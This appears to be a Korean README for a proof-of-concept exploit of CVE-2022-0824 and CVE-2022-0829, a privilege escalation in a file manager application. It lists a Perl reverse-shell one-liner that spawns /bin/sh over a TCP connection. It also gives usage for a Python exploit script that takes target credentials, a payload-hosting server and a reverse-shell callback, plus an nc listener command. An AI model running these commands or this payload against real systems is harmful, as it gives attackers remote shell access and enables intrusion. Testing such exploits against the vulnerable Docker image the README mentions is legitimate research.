
CVE-2022-0824, CVE-2022-0829, 파일 관리자 권한 상승 익스플로잇
CVE-2022-0824, CVE-2022-0829 - File Manager 권한 익스플로잇
이 PoC를 테스트하기 위한 취약한 애플리케이션은 Docker 이미지로 여기에서 찾을 수 있습니다.
사전 요구 사항:
perl -e 'use Socket;$i="0.0.0.0";$p=1111;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
$ python3 cve-2022-0824.py --help
usage: cve-2022-0824.py [-h] --host HOST --user USER --password PASSWORD
--Python_server PYTHON_SERVER --callback_url
CALLBACK_URL [--proxy PROXY]
optional arguments:
-h, --help show this help message and exit
--host HOST Host url(complete)
--user USER Username
--password PASSWORD Password
--Python_server PYTHON_SERVER
Python httpServer with port
--callback_url CALLBACK_URL
Callback ip and port
--proxy PROXY Proxy details
$ python3 cve-2022-0824.py --host [Target_url] --user [Username] --password[Password] --Python_server [Filehosting Server Information] ----callback_url [<ip>:<port> for reverse shell connections] --proxy [Proxy server details - optional]
$ python3 cve-2022-0824.py --host http://localhost:10000 --user usr --password usr --Python_server 192.168.43.228:9999 --callback_url 192.168.43.228:1234 --proxy http://127.0.0.1:8080
사용자 이름과 비밀번호는 안전한(비권한) 사용자용입니다. 리버스 셸 연결을 받으려면 스크립트를 실행하기 전에 리스너를 설정하세요.
$ nc -lvp <port>
익스플로잇을 제공해 주신 @faisalfs10x 님께 감사드립니다.